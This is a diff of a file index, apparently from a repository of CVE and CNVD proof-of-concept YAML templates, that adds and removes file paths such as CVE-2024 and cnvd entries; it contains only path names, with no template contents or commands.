+./poc/cve/CVE-2024-4180-409e69e1543a97473f3477623d0cf79d.yaml ./poc/cve/CVE-2024-4185-290ed0454ae50437486ebc5c7fe94ae3.yaml ./poc/cve/CVE-2024-4185.yaml ./poc/cve/CVE-2024-4186-d603bcf212543e8a6d6c6a217dad6c87.yaml ./poc/cve/CVE-2024-4186.yaml ./poc/cve/CVE-2024-4193-7dc4f9b13884650456d8f326e132b3f7.yaml ./poc/cve/CVE-2024-4193.yaml +./poc/cve/CVE-2024-4194-6d46981f4c9251d544a68553d3366c8b.yaml ./poc/cve/CVE-2024-4194-70d07df8b02d0d9420b9e514cc4c71ca.yaml +./poc/cve/CVE-2024-4194.yaml ./poc/cve/CVE-2024-4199-799037d1d21fc678e652bea30bd3c401.yaml ./poc/cve/CVE-2024-4199.yaml ./poc/cve/CVE-2024-4203-85221954d8071d6609fe8b0894c9cba0.yaml @@ -36213,10 +36388,12 @@ ./poc/cve/CVE-2024-4209-6847402643539adace99f5378eb4649d.yaml ./poc/cve/CVE-2024-4209.yaml ./poc/cve/CVE-2024-4212-a04e2d847dfe44e2343d05580895795c.yaml +./poc/cve/CVE-2024-4212.yaml ./poc/cve/CVE-2024-4213-62304fd7a77f4c1a855e6cee45c9d2a6.yaml ./poc/cve/CVE-2024-4213.yaml ./poc/cve/CVE-2024-4214-82a36a5e411dee7a76d3000cda900b8e.yaml ./poc/cve/CVE-2024-4214.yaml +./poc/cve/CVE-2024-4218-bb6f1b9667090e20283e6bf88fa3d176.yaml ./poc/cve/CVE-2024-4218-d44cc6b5dede1ccee7882a24efd4e133.yaml ./poc/cve/CVE-2024-4218.yaml ./poc/cve/CVE-2024-4222-9580d3e42328b3de5f2d5dc4b458adbd.yaml @@ -36294,7 +36471,9 @@ ./poc/cve/CVE-2024-4351.yaml ./poc/cve/CVE-2024-4352-45aad339d515a98e9cbf8f1bdd5dd93f.yaml ./poc/cve/CVE-2024-4352.yaml +./poc/cve/CVE-2024-4354-cb1abe584a99094a32454176c2da1e00.yaml ./poc/cve/CVE-2024-4355-0110aaa31cfa1c9d339cb3a55b41c543.yaml +./poc/cve/CVE-2024-4355-a903f9532766751cdbee9102a282b68d.yaml ./poc/cve/CVE-2024-4355.yaml ./poc/cve/CVE-2024-4356-43cc96b4c66eae2108c387b5468f530b.yaml ./poc/cve/CVE-2024-4356-ac59816e5a220379cae065e7ced8ca1c.yaml @@ -36307,6 +36486,7 @@ ./poc/cve/CVE-2024-4363-17edd11e9e53265c6eb7aaae7d314152.yaml ./poc/cve/CVE-2024-4363.yaml ./poc/cve/CVE-2024-4364-f208f0865f4a44a2342b54d4abb07dbb.yaml +./poc/cve/CVE-2024-4364.yaml ./poc/cve/CVE-2024-4365-3a3674a48bf84a1ee392ca44e0d6315c.yaml ./poc/cve/CVE-2024-4365.yaml ./poc/cve/CVE-2024-4366-0e2faf8012abb4234fb40efe07780e00.yaml @@ -36324,15 +36504,19 @@ ./poc/cve/CVE-2024-4376-ab2e9cd36e929641c96e78c2bc17e20e.yaml ./poc/cve/CVE-2024-4376.yaml ./poc/cve/CVE-2024-4377-3af0cc64081963426f190835e8e2edc9.yaml +./poc/cve/CVE-2024-4377.yaml ./poc/cve/CVE-2024-4378-7239e01c5d0841e3ca7e9d3b5df5314a.yaml ./poc/cve/CVE-2024-4378.yaml ./poc/cve/CVE-2024-4379-d382cca3643543985dbbe7ea0eb4c13b.yaml ./poc/cve/CVE-2024-4379.yaml ./poc/cve/CVE-2024-4381-d7124bd7d7fed7a1a4a7ea956e719ae6.yaml +./poc/cve/CVE-2024-4381.yaml ./poc/cve/CVE-2024-4382-997162f3fa4e6fb5beffb2a212bb4158.yaml +./poc/cve/CVE-2024-4382.yaml ./poc/cve/CVE-2024-4383-b980e4db8952ed8de851b6e3dca287ed.yaml ./poc/cve/CVE-2024-4383.yaml ./poc/cve/CVE-2024-4384-761fcaed0c006b0ba8324e9862cf9745.yaml +./poc/cve/CVE-2024-4384.yaml ./poc/cve/CVE-2024-4385-021e712eb0a3107f1d4fb06d49211df4.yaml ./poc/cve/CVE-2024-4385.yaml ./poc/cve/CVE-2024-4386-c0cfaa7472adaaaa60b39a3aa1b4d8a6.yaml @@ -36382,6 +36566,7 @@ ./poc/cve/CVE-2024-4441-2d60f0985ed624e72a657b2cf7735277.yaml ./poc/cve/CVE-2024-4441.yaml ./poc/cve/CVE-2024-4442-9b7cd3a357e1a9f5a07ea4f4d9382172.yaml +./poc/cve/CVE-2024-4442-bfd9fc2e11f82202e3317db7b1d6b9d3.yaml ./poc/cve/CVE-2024-4442.yaml ./poc/cve/CVE-2024-4443-0941ad192661a25ebf1c88bf04b6c503.yaml ./poc/cve/CVE-2024-4443.yaml @@ -36395,12 +36580,15 @@ ./poc/cve/CVE-2024-4448.yaml ./poc/cve/CVE-2024-4449-ec16a0493be58cb3d978346cb4435762.yaml ./poc/cve/CVE-2024-4449.yaml +./poc/cve/CVE-2024-4451-d9d72de6e9feaa1de18d7e0ad9e7450e.yaml ./poc/cve/CVE-2024-4452-29654a74d914e6bb648c7412fc904f64.yaml ./poc/cve/CVE-2024-4452.yaml ./poc/cve/CVE-2024-4455-8027c94f6fa6a6ba68e2b8148509bc66.yaml ./poc/cve/CVE-2024-4455.yaml ./poc/cve/CVE-2024-4458-858f37820981879f8fe00471c3b6ee42.yaml +./poc/cve/CVE-2024-4458.yaml ./poc/cve/CVE-2024-4459-f434d84d3bc41116cd8419248e1280c6.yaml +./poc/cve/CVE-2024-4459.yaml ./poc/cve/CVE-2024-4462-d67759f457a1b261bbd90b57e9472f94.yaml ./poc/cve/CVE-2024-4462.yaml ./poc/cve/CVE-2024-4463-464edc1eb3da2f9faf49c20859246d3c.yaml @@ -36414,8 +36602,11 @@ ./poc/cve/CVE-2024-4473-b86598b23b7a54760c31496903dce556.yaml ./poc/cve/CVE-2024-4473.yaml ./poc/cve/CVE-2024-4474-3fdc2b02e0fdb355f4143f761414c9da.yaml +./poc/cve/CVE-2024-4474.yaml ./poc/cve/CVE-2024-4475-f8a1513f2e07c1ce75280461124fe8a5.yaml +./poc/cve/CVE-2024-4475.yaml ./poc/cve/CVE-2024-4477-0ed083a04c70a9cc2e343ae55ab9afd0.yaml +./poc/cve/CVE-2024-4477.yaml ./poc/cve/CVE-2024-4478-6bfc9aef9054c265171c9e824d6a16ee.yaml ./poc/cve/CVE-2024-4478.yaml ./poc/cve/CVE-2024-4480-04f47708d32bc7aa942052271a347611.yaml @@ -36431,6 +36622,8 @@ ./poc/cve/CVE-2024-4486.yaml ./poc/cve/CVE-2024-4487-7cc51477ca6f5bc414e09eaf2831f8df.yaml ./poc/cve/CVE-2024-4487.yaml +./poc/cve/CVE-2024-4488-24850f2f46fee76a411819c82221fd52.yaml +./poc/cve/CVE-2024-4489-98f53e4ac0e0347e15b291328edd1cad.yaml ./poc/cve/CVE-2024-4490-a71279b5729f40993764b7f4a01c6356.yaml ./poc/cve/CVE-2024-4490.yaml ./poc/cve/CVE-2024-4529-884e2529f1fd12601eb8d52d2b887907.yaml @@ -36475,9 +36668,11 @@ ./poc/cve/CVE-2024-4606-c3061fcb456da5cd9c3f81e80f5ad920.yaml ./poc/cve/CVE-2024-4606.yaml ./poc/cve/CVE-2024-4608-d8ede7987c310e0751e63ad4e9269075.yaml +./poc/cve/CVE-2024-4608.yaml ./poc/cve/CVE-2024-4611-b2b77bc4590270872c36b767b19a8d54.yaml ./poc/cve/CVE-2024-4611.yaml ./poc/cve/CVE-2024-4616-b9bb7da8b8f78a95c6df40b539f0dcf0.yaml +./poc/cve/CVE-2024-4616.yaml ./poc/cve/CVE-2024-4617-496da5481d0ac9abeaf6e7947ad6032d.yaml ./poc/cve/CVE-2024-4617.yaml ./poc/cve/CVE-2024-4618-87da4cd659e28af3414d32c729ff9bd8.yaml @@ -36519,10 +36714,13 @@ ./poc/cve/CVE-2024-4700.yaml ./poc/cve/CVE-2024-4702-c904b394a457679b343ff9f2b69ddb8a.yaml ./poc/cve/CVE-2024-4702.yaml +./poc/cve/CVE-2024-4703-622d2074643ca68d7c6df5fdf8e6d006.yaml ./poc/cve/CVE-2024-4705-855b31528c308887f496984ef12986db.yaml +./poc/cve/CVE-2024-4705.yaml ./poc/cve/CVE-2024-4706-b2d51cf4ca34cd537f8cbffbd1296a4d.yaml ./poc/cve/CVE-2024-4706.yaml ./poc/cve/CVE-2024-4707-4c0a3269f91ec31e5fe0ec03ead69e38.yaml +./poc/cve/CVE-2024-4707.yaml ./poc/cve/CVE-2024-4709-ddfd7af7e2e47d7cbb4c0c8fe714b95a.yaml ./poc/cve/CVE-2024-4709.yaml ./poc/cve/CVE-2024-4710-ad813419c8efa215ea554823e49fd25f.yaml @@ -36548,11 +36746,14 @@ ./poc/cve/CVE-2024-4751.yaml ./poc/cve/CVE-2024-4756-8946602013e44301066640e1f3a05e97.yaml ./poc/cve/CVE-2024-4756.yaml +./poc/cve/CVE-2024-4757-99c61d6e5361642f2cd3220426f925ee.yaml +./poc/cve/CVE-2024-4759-3a5379366de7f552de353ab3d5098e66.yaml ./poc/cve/CVE-2024-4779-2538af254bdbffcd0c4f76bfdaf81c5f.yaml ./poc/cve/CVE-2024-4779.yaml ./poc/cve/CVE-2024-4783-09f94923293fa0caf86c1b555760686d.yaml ./poc/cve/CVE-2024-4783.yaml ./poc/cve/CVE-2024-4788-84935d34b6d2de30fcfa0e5b4f9d42e4.yaml +./poc/cve/CVE-2024-4788.yaml ./poc/cve/CVE-2024-4789-db4647af61ca31063be76c6f44a638fb.yaml ./poc/cve/CVE-2024-4789.yaml ./poc/cve/CVE-2024-4821-e5c1c5c066fc4f0bbdd4673243f80699.yaml @@ -36579,24 +36780,30 @@ ./poc/cve/CVE-2024-4875.yaml ./poc/cve/CVE-2024-4876-15bbb6866341eca6ea5c174aade1d07d.yaml ./poc/cve/CVE-2024-4876.yaml +./poc/cve/CVE-2024-4886-a4ca992ddae5ec5f2effe96be1a25e88.yaml +./poc/cve/CVE-2024-4887-897881ff13115f641850f92088a342ea.yaml ./poc/cve/CVE-2024-4891-96a4ce41b772cb326dbbc649277d9516.yaml ./poc/cve/CVE-2024-4891.yaml ./poc/cve/CVE-2024-4895-45d0e57c9666a01fecbc0ea4e2078f4b.yaml ./poc/cve/CVE-2024-4895.yaml ./poc/cve/CVE-2024-4896-f2c3426214ed30722f1200ecd0a75a7a.yaml ./poc/cve/CVE-2024-4896.yaml +./poc/cve/CVE-2024-4902-1337a293cedaf997fd05c2b8ea71c553.yaml ./poc/cve/CVE-2024-4924-82cde0cc8c529748681312fb99f5570b.yaml ./poc/cve/CVE-2024-4924.yaml ./poc/cve/CVE-2024-4939-b8a7d2a290e2b5aeaef227e282e36eaa.yaml ./poc/cve/CVE-2024-4939.yaml ./poc/cve/CVE-2024-4942-21b87682d470a2f9ca18316576fd72ae.yaml +./poc/cve/CVE-2024-4942.yaml ./poc/cve/CVE-2024-4943-7867fb2064afcf1113ed2984407b8502.yaml ./poc/cve/CVE-2024-4943.yaml ./poc/cve/CVE-2024-4956.yaml ./poc/cve/CVE-2024-4958-25b500cc1976901ef088c16ecf9e9871.yaml ./poc/cve/CVE-2024-4958.yaml ./poc/cve/CVE-2024-4969-2124add2305584b370ba2ae716fb8d1c.yaml +./poc/cve/CVE-2024-4969.yaml ./poc/cve/CVE-2024-4970-bc7600147784c57fe431c75df2da0499.yaml +./poc/cve/CVE-2024-4970.yaml ./poc/cve/CVE-2024-4971-e94265b6b9701fba4d79e611ce2a1c6a.yaml ./poc/cve/CVE-2024-4971.yaml ./poc/cve/CVE-2024-4980-3d830ed7484d926bb6284e8ad4ea0782.yaml @@ -36606,6 +36813,7 @@ ./poc/cve/CVE-2024-4997-0cd9b86b1f4f9108d85a346f47f03a6d.yaml ./poc/cve/CVE-2024-4997.yaml ./poc/cve/CVE-2024-5001-a765b8edd6473c0ac996865973fa9aed.yaml +./poc/cve/CVE-2024-5001.yaml ./poc/cve/CVE-2024-5003-176e8fc7f2a4e30d6c68d2bf7d92ea4e.yaml ./poc/cve/CVE-2024-5003.yaml ./poc/cve/CVE-2024-5006-d05913bf0b66e9b572ee8bc5a235f19f.yaml @@ -36615,6 +36823,7 @@ ./poc/cve/CVE-2024-5031-80379b4c5e0594f1610919951372e2c7.yaml ./poc/cve/CVE-2024-5031.yaml ./poc/cve/CVE-2024-5038-d4741a76798f6a0d5ca9dc6302b633cc.yaml +./poc/cve/CVE-2024-5038.yaml ./poc/cve/CVE-2024-5039-cecac5892e38b4c846b3683d25ffd155.yaml ./poc/cve/CVE-2024-5039.yaml ./poc/cve/CVE-2024-5041-683fbe7656aac22ccbf1456af0532a73.yaml @@ -36634,6 +36843,7 @@ ./poc/cve/CVE-2024-5092-0f4aaeb58c0f91afc705b391dbdf7872.yaml ./poc/cve/CVE-2024-5092.yaml ./poc/cve/CVE-2024-5141-f003c81bdb67e0c478e1919516cc1594.yaml +./poc/cve/CVE-2024-5141.yaml ./poc/cve/CVE-2024-5147-87badd9e51b373ddad690f30e373ed39.yaml ./poc/cve/CVE-2024-5147.yaml ./poc/cve/CVE-2024-5149-cb0b445a00963d5ca10dab407fc7aec2.yaml @@ -36641,17 +36851,23 @@ ./poc/cve/CVE-2024-5150-dcfa0526d0d6ddfb97e1b22bdee892de.yaml ./poc/cve/CVE-2024-5150.yaml ./poc/cve/CVE-2024-5152-c4d7414dc36415adb2d96827ecc04492.yaml +./poc/cve/CVE-2024-5152.yaml ./poc/cve/CVE-2024-5153-3c220de39f48d38be3149f23fb351dd8.yaml +./poc/cve/CVE-2024-5153.yaml ./poc/cve/CVE-2024-5155-4e771917c53c964b41915c951e73784a.yaml ./poc/cve/CVE-2024-5155.yaml ./poc/cve/CVE-2024-5161-68a7882745da41989eda464fedcd139f.yaml +./poc/cve/CVE-2024-5161.yaml ./poc/cve/CVE-2024-5162-c2035a2d17b8eed34074b4c39dccdb4b.yaml +./poc/cve/CVE-2024-5162.yaml ./poc/cve/CVE-2024-5172-7fc1b194c8373e536809367fa81a06f2.yaml ./poc/cve/CVE-2024-5172.yaml ./poc/cve/CVE-2024-5177-146813db8b28145690ce27f729f55c4d.yaml ./poc/cve/CVE-2024-5177.yaml ./poc/cve/CVE-2024-5179-72b12b32869e0dba8ce035163e31c35f.yaml +./poc/cve/CVE-2024-5179.yaml ./poc/cve/CVE-2024-5188-878b5f194f81c2aa52ec0b48a0ba0699.yaml +./poc/cve/CVE-2024-5188.yaml ./poc/cve/CVE-2024-5204-98f82cbe20c344099843364d32354b58.yaml ./poc/cve/CVE-2024-5204.yaml ./poc/cve/CVE-2024-5205-c093644d2cb8dd263622ccbff472fc35.yaml @@ -36663,65 +36879,87 @@ ./poc/cve/CVE-2024-5220-9c07cb33145754d4d4067bb1ba4aea1d.yaml ./poc/cve/CVE-2024-5220.yaml ./poc/cve/CVE-2024-5221-69312cd009e7c2ec396cde9ac822ccae.yaml +./poc/cve/CVE-2024-5221.yaml ./poc/cve/CVE-2024-5222-3018373fadaecd4683458a42a4ca23dc.yaml ./poc/cve/CVE-2024-5222.yaml ./poc/cve/CVE-2024-5223-e094c5e68a781c140d28774a31ad53ed.yaml ./poc/cve/CVE-2024-5223.yaml ./poc/cve/CVE-2024-5224-c4ecba0cd76252d9bab24fc626a2b35e.yaml +./poc/cve/CVE-2024-5224.yaml ./poc/cve/CVE-2024-5229-7b9ebc69ddbbb65df0ea12450fde6599.yaml ./poc/cve/CVE-2024-5229.yaml ./poc/cve/CVE-2024-5259-e268b9027ba88af8b52454649d4cdad8.yaml +./poc/cve/CVE-2024-5259.yaml ./poc/cve/CVE-2024-5317-715b6a9f0c8ee2eafe22205c7013d107.yaml ./poc/cve/CVE-2024-5317.yaml ./poc/cve/CVE-2024-5324-f62a2b5d8ff5fddc7cbc75a5c73ab123.yaml +./poc/cve/CVE-2024-5324.yaml ./poc/cve/CVE-2024-5326-06c485677a4b894ed45f5bd551927dc9.yaml ./poc/cve/CVE-2024-5326.yaml ./poc/cve/CVE-2024-5327-c9ec3faf7380d55c4bb32eeaa8c62803.yaml ./poc/cve/CVE-2024-5327.yaml ./poc/cve/CVE-2024-5329-ca8b7f545093310580c6f20618c4c81f.yaml +./poc/cve/CVE-2024-5329.yaml ./poc/cve/CVE-2024-5341-968a2fd7f4ceccb41ecca593b7cab646.yaml ./poc/cve/CVE-2024-5341.yaml ./poc/cve/CVE-2024-5342-63a206baf1575bbfd2de480008cc7f40.yaml +./poc/cve/CVE-2024-5342.yaml ./poc/cve/CVE-2024-5345-7d34030a4d6f5505a5ab62060e952694.yaml ./poc/cve/CVE-2024-5345.yaml ./poc/cve/CVE-2024-5347-394b50128d5c78efc3c032fb63db8447.yaml ./poc/cve/CVE-2024-5347.yaml ./poc/cve/CVE-2024-5348-b4bc9d1509f8c80a359f0f22d7422b96.yaml ./poc/cve/CVE-2024-5348.yaml +./poc/cve/CVE-2024-5382-3f1ae151e74bf3a85689b92b47a722f8.yaml ./poc/cve/CVE-2024-5418-434a339fc4d8515bf3d8877608840f7e.yaml ./poc/cve/CVE-2024-5418.yaml +./poc/cve/CVE-2024-5425-8573326a950aad533931811dfbdfb643.yaml +./poc/cve/CVE-2024-5426-05a62725e997584a7ca96583d0ed07b0.yaml ./poc/cve/CVE-2024-5427-8e98140a73fa39518f80acb935a5af8c.yaml ./poc/cve/CVE-2024-5427.yaml +./poc/cve/CVE-2024-5438-1b24a267d5472a32f3c0e13b76610ec9.yaml ./poc/cve/CVE-2024-5439-fccc326e0d145d95fb0a71ad0988715b.yaml ./poc/cve/CVE-2024-5439.yaml ./poc/cve/CVE-2024-5449-190cabe67f28b77cba4302383800787b.yaml +./poc/cve/CVE-2024-5449.yaml ./poc/cve/CVE-2024-5453-ec266115679b93ac13c93948471f44da.yaml ./poc/cve/CVE-2024-5453.yaml ./poc/cve/CVE-2024-5459-5fe3da3314db32ae5a24560dc5ca6f8d.yaml ./poc/cve/CVE-2024-5459.yaml ./poc/cve/CVE-2024-5475-4630b0cbea9789a4ae2fb7ca16fd8674.yaml ./poc/cve/CVE-2024-5475.yaml +./poc/cve/CVE-2024-5481-444ef62c2ed9a822286b94ddae6883e0.yaml ./poc/cve/CVE-2024-5483-f6a0abe6151e81fb241e282864cecebd.yaml ./poc/cve/CVE-2024-5483.yaml ./poc/cve/CVE-2024-5485-00f2b3214684d1ed1df6f7385445d0be.yaml ./poc/cve/CVE-2024-5485.yaml ./poc/cve/CVE-2024-5489-8f3e89de28f7f9276a58483f17b06153.yaml +./poc/cve/CVE-2024-5489.yaml ./poc/cve/CVE-2024-5501-ef276788ff5605e6f36a518160e844c2.yaml ./poc/cve/CVE-2024-5501.yaml ./poc/cve/CVE-2024-5522-e4fea960ce0866df9a4418c70bedfc26.yaml ./poc/cve/CVE-2024-5522.yaml ./poc/cve/CVE-2024-5536-5681430ea726181800837bb7f187db30.yaml ./poc/cve/CVE-2024-5536.yaml +./poc/cve/CVE-2024-5542-2c78331a027ed0b073a8bb936d867fb6.yaml ./poc/cve/CVE-2024-5571-747501ea372022d72c5c50040ba89efd.yaml ./poc/cve/CVE-2024-5571.yaml +./poc/cve/CVE-2024-5599-be6fff517aec53ff23d944b44b84ccb4.yaml +./poc/cve/CVE-2024-5607-901f256125fbbba6e03f938b868f6b19.yaml +./poc/cve/CVE-2024-5612-94c0f75b45145ba79530a3cebd812f91.yaml ./poc/cve/CVE-2024-5615-a77f3367ed2460f7ee46222aadc62216.yaml +./poc/cve/CVE-2024-5615.yaml +./poc/cve/CVE-2024-5637-52143d378292b1918b667c9107493dca.yaml +./poc/cve/CVE-2024-5640-97926cf22b75d273b8be77e89027662a.yaml +./poc/cve/CVE-2024-5645-1e0813366396dcffd446ea61fbcc4596.yaml ./poc/cve/CVE-2024-5656-ed8938bd52fad7e4bf20c235a5cc7800.yaml +./poc/cve/CVE-2024-5656.yaml ./poc/cve/CVE-2024-5665-fbf91f7b36454225b577032ff6b93e9b.yaml +./poc/cve/CVE-2024-5665.yaml ./poc/cve/CVE_RCE2-1.yaml ./poc/cve/CheckCVE_2021_21972.yaml ./poc/cve/Confluence_CVE-2022-26134.yaml ./poc/cve/D-Link-rce-CVE-2024-3273.yaml -./poc/cve/E-office 任意文件上传-mobile_upload_save(CVE-2023-2523).yaml ./poc/cve/RCE-CVE-2021-41773.yaml ./poc/cve/VMware-CVE-2022-22954-RCE.yml ./poc/cve/activemq-cve-2016-3088.yml @@ -36736,6 +36974,7 @@ ./poc/cve/apache-ofbiz-cve-2018-8033-xxe.yml ./poc/cve/apache-ofbiz-cve-2020-9496-xml-deserialization.yml ./poc/cve/apache-solr-log4j-CVE-2021-44228.yaml +./poc/cve/apache-tomcat-CVE-2022-34305.yaml ./poc/cve/apache-tomcat-cve-2022-34305.yaml ./poc/cve/bash-cve-2014-6271.yml ./poc/cve/cisco-cve-2020-3452-readfile.yml @@ -36745,7 +36984,7 @@ ./poc/cve/citrix-xenmobile-cve-2020-8209.yml ./poc/cve/cnnvd-200705-315-1035.yaml ./poc/cve/cnvd-2018-13393-1037.yaml -./poc/cve/cnvd-2018-13393-1038.yaml +./poc/cve/cnvd-2018-13393-1039.yaml ./poc/cve/cnvd-2019-01348-1040.yaml ./poc/cve/cnvd-2019-01348-1041.yaml ./poc/cve/cnvd-2019-01348-1042.yaml @@ -36755,12 +36994,13 @@ ./poc/cve/cnvd-2019-06255-1047.yaml ./poc/cve/cnvd-2019-06255-1049.yaml ./poc/cve/cnvd-2019-06255-1050.yaml -./poc/cve/cnvd-2019-19299-1052.yaml -./poc/cve/cnvd-2019-32204-1053.yaml -./poc/cve/cnvd-2020-23735-1055.yaml +./poc/cve/cnvd-2019-19299-1051.yaml +./poc/cve/cnvd-2019-32204-1054.yaml ./poc/cve/cnvd-2020-23735-1056.yaml ./poc/cve/cnvd-2020-23735-1057.yaml ./poc/cve/cnvd-2020-23735-1058.yaml +./poc/cve/cnvd-2020-23735-1059.yaml +./poc/cve/cnvd-2020-46552-1060.yaml ./poc/cve/cnvd-2020-46552.yaml ./poc/cve/cnvd-2020-56167-1061.yaml ./poc/cve/cnvd-2020-56167-1062.yaml @@ -36771,11 +37011,14 @@ ./poc/cve/cnvd-2020-62422-1069.yaml ./poc/cve/cnvd-2020-67113-1070.yaml ./poc/cve/cnvd-2020-67113-1071.yaml +./poc/cve/cnvd-2020-67113-1072.yaml ./poc/cve/cnvd-2020-68596-1073.yaml +./poc/cve/cnvd-2020-68596-1074.yaml ./poc/cve/cnvd-2020-68596-1075.yaml ./poc/cve/cnvd-2020-68596-1076.yaml ./poc/cve/cnvd-2021-01931-1077.yaml ./poc/cve/cnvd-2021-01931-1078.yaml +./poc/cve/cnvd-2021-01931-1079.yaml ./poc/cve/cnvd-2021-09650-1081.yaml ./poc/cve/cnvd-2021-10543-1082.yaml ./poc/cve/cnvd-2021-10543-1083.yaml @@ -36786,24 +37029,23 @@ ./poc/cve/cnvd-2021-15822-1090.yaml ./poc/cve/cnvd-2021-15822-1091.yaml ./poc/cve/cnvd-2021-15822-1092.yaml -./poc/cve/cnvd-2021-15822-1093.yaml ./poc/cve/cnvd-2021-15822-1094.yaml ./poc/cve/cnvd-2021-15822-1095.yaml -./poc/cve/cnvd-2021-15824-1096.yaml +./poc/cve/cnvd-2021-15824-1097.yaml ./poc/cve/cnvd-2021-17369-1099.yaml ./poc/cve/cnvd-2021-17369-1100.yaml ./poc/cve/cnvd-2021-17369-1101.yaml ./poc/cve/cnvd-2021-17369-1102.yaml ./poc/cve/cnvd-2021-26422-1103.yaml -./poc/cve/cnvd-2021-28277-1105.yaml +./poc/cve/cnvd-2021-28277-1106.yaml ./poc/cve/cnvd-2021-28277-1107.yaml ./poc/cve/cnvd-2021-30167-1108.yaml -./poc/cve/cnvd-2021-30167-1109.yaml ./poc/cve/cnvd-2021-30167-1110.yaml +./poc/cve/cnvd-2021-30167-1111.yaml ./poc/cve/cnvd-2021-30167-1112.yaml ./poc/cve/cnvd-2021-49104-1114.yaml ./poc/cve/cnvd-2021-49104-1115.yaml -./poc/cve/cnvd-2022-03672-1116.yaml +./poc/cve/cnvd-2022-03672-1117.yaml ./poc/cve/coldfusion-cve-2010-2861-lfi.yml ./poc/cve/confluence-cve-2015-8399.yml ./poc/cve/confluence-cve-2019-3396-lfi.yaml @@ -36820,11 +37062,11 @@ ./poc/cve/cve-2001-1473-1298.yaml ./poc/cve/cve-2001-1473-1299.yaml ./poc/cve/cve-2001-1473-1300.yaml -./poc/cve/cve-2001-1473.yaml ./poc/cve/cve-2002-1131-1301.yaml ./poc/cve/cve-2002-1131-1302.yaml ./poc/cve/cve-2002-1131-1303.yaml ./poc/cve/cve-2002-1131-1304.yaml +./poc/cve/cve-2004-0519-1305.yaml ./poc/cve/cve-2004-0519-1306.yaml ./poc/cve/cve-2004-0519-1307.yaml ./poc/cve/cve-2004-0519-1308.yaml @@ -36837,7 +37079,6 @@ ./poc/cve/cve-2005-2428.yaml ./poc/cve/cve-2005-3344-1315.yaml ./poc/cve/cve-2005-3344-1316.yaml -./poc/cve/cve-2005-3344-1317.yaml ./poc/cve/cve-2005-4385-1318.yaml ./poc/cve/cve-2005-4385-1319.yaml ./poc/cve/cve-2005-4385-1320.yaml @@ -36872,7 +37113,6 @@ ./poc/cve/cve-2007-5728-1348.yaml ./poc/cve/cve-2007-5728-1349.yaml ./poc/cve/cve-2007-5728-1350.yaml -./poc/cve/cve-2007-5728-1351.yaml ./poc/cve/cve-2008-2398-1353.yaml ./poc/cve/cve-2008-2398-1354.yaml ./poc/cve/cve-2008-2398-1355.yaml @@ -36890,7 +37130,6 @@ ./poc/cve/cve-2008-4668-1367.yaml ./poc/cve/cve-2008-4668-1368.yaml ./poc/cve/cve-2008-4668-1369.yaml -./poc/cve/cve-2008-4668.yaml ./poc/cve/cve-2008-4764-1370.yaml ./poc/cve/cve-2008-4764-1371.yaml ./poc/cve/cve-2008-4764-1372.yaml @@ -36907,15 +37146,19 @@ ./poc/cve/cve-2008-6080-1383.yaml ./poc/cve/cve-2008-6080-1385.yaml ./poc/cve/cve-2008-6172-1386.yaml +./poc/cve/cve-2008-6172-1387.yaml ./poc/cve/cve-2008-6172-1388.yaml ./poc/cve/cve-2008-6172-1389.yaml ./poc/cve/cve-2008-6172-1390.yaml ./poc/cve/cve-2008-6172-1391.yaml +./poc/cve/cve-2008-6172.yaml ./poc/cve/cve-2008-6222-1392.yaml ./poc/cve/cve-2008-6222-1393.yaml ./poc/cve/cve-2008-6222-1394.yaml ./poc/cve/cve-2008-6222-1395.yaml ./poc/cve/cve-2008-6222-1396.yaml +./poc/cve/cve-2008-6222-1397.yaml +./poc/cve/cve-2008-6222.yaml ./poc/cve/cve-2008-6668-1398.yaml ./poc/cve/cve-2008-6668-1399.yaml ./poc/cve/cve-2008-6668-1400.yaml @@ -36926,7 +37169,6 @@ ./poc/cve/cve-2009-0545-1405.yaml ./poc/cve/cve-2009-0545-1406.yaml ./poc/cve/cve-2009-0545-1407.yaml -./poc/cve/cve-2009-0545.yaml ./poc/cve/cve-2009-0932-1408.yaml ./poc/cve/cve-2009-0932-1409.yaml ./poc/cve/cve-2009-0932-1410.yaml @@ -36942,7 +37184,9 @@ ./poc/cve/cve-2009-1496-1420.yaml ./poc/cve/cve-2009-1496-1421.yaml ./poc/cve/cve-2009-1496-1422.yaml +./poc/cve/cve-2009-1496-1423.yaml ./poc/cve/cve-2009-1496-1424.yaml +./poc/cve/cve-2009-1496.yaml ./poc/cve/cve-2009-1558-1425.yaml ./poc/cve/cve-2009-1558-1426.yaml ./poc/cve/cve-2009-1558-1427.yaml @@ -36959,11 +37203,14 @@ ./poc/cve/cve-2009-2015-1438.yaml ./poc/cve/cve-2009-2015-1439.yaml ./poc/cve/cve-2009-2015-1440.yaml +./poc/cve/cve-2009-2015-1441.yaml ./poc/cve/cve-2009-2100-1442.yaml ./poc/cve/cve-2009-2100-1443.yaml ./poc/cve/cve-2009-2100-1444.yaml ./poc/cve/cve-2009-2100-1445.yaml +./poc/cve/cve-2009-2100-1446.yaml ./poc/cve/cve-2009-2100-1447.yaml +./poc/cve/cve-2009-2100.yaml ./poc/cve/cve-2009-3053-1448.yaml ./poc/cve/cve-2009-3053-1449.yaml ./poc/cve/cve-2009-3053-1450.yaml @@ -36993,7 +37240,6 @@ ./poc/cve/cve-2009-4679-1474.yaml ./poc/cve/cve-2009-4679-1475.yaml ./poc/cve/cve-2009-4679-1476.yaml -./poc/cve/cve-2009-5020-1477.yaml ./poc/cve/cve-2009-5020-1478.yaml ./poc/cve/cve-2009-5020-1479.yaml ./poc/cve/cve-2009-5020-1480.yaml @@ -37011,13 +37257,13 @@ ./poc/cve/cve-2010-0467-1492.yaml ./poc/cve/cve-2010-0467-1493.yaml ./poc/cve/cve-2010-0467-1494.yaml +./poc/cve/cve-2010-0467-1495.yaml ./poc/cve/cve-2010-0467-1496.yaml ./poc/cve/cve-2010-0696-1497.yaml ./poc/cve/cve-2010-0696-1498.yaml ./poc/cve/cve-2010-0696-1499.yaml ./poc/cve/cve-2010-0696-1500.yaml ./poc/cve/cve-2010-0696-1501.yaml -./poc/cve/cve-2010-0696.yaml ./poc/cve/cve-2010-0759-1502.yaml ./poc/cve/cve-2010-0759-1503.yaml ./poc/cve/cve-2010-0759-1504.yaml @@ -37028,13 +37274,13 @@ ./poc/cve/cve-2010-0942-1509.yaml ./poc/cve/cve-2010-0942-1510.yaml ./poc/cve/cve-2010-0942-1511.yaml -./poc/cve/cve-2010-0942.yaml ./poc/cve/cve-2010-0943-1512.yaml ./poc/cve/cve-2010-0943-1513.yaml ./poc/cve/cve-2010-0943-1514.yaml ./poc/cve/cve-2010-0943-1515.yaml ./poc/cve/cve-2010-0943-1516.yaml 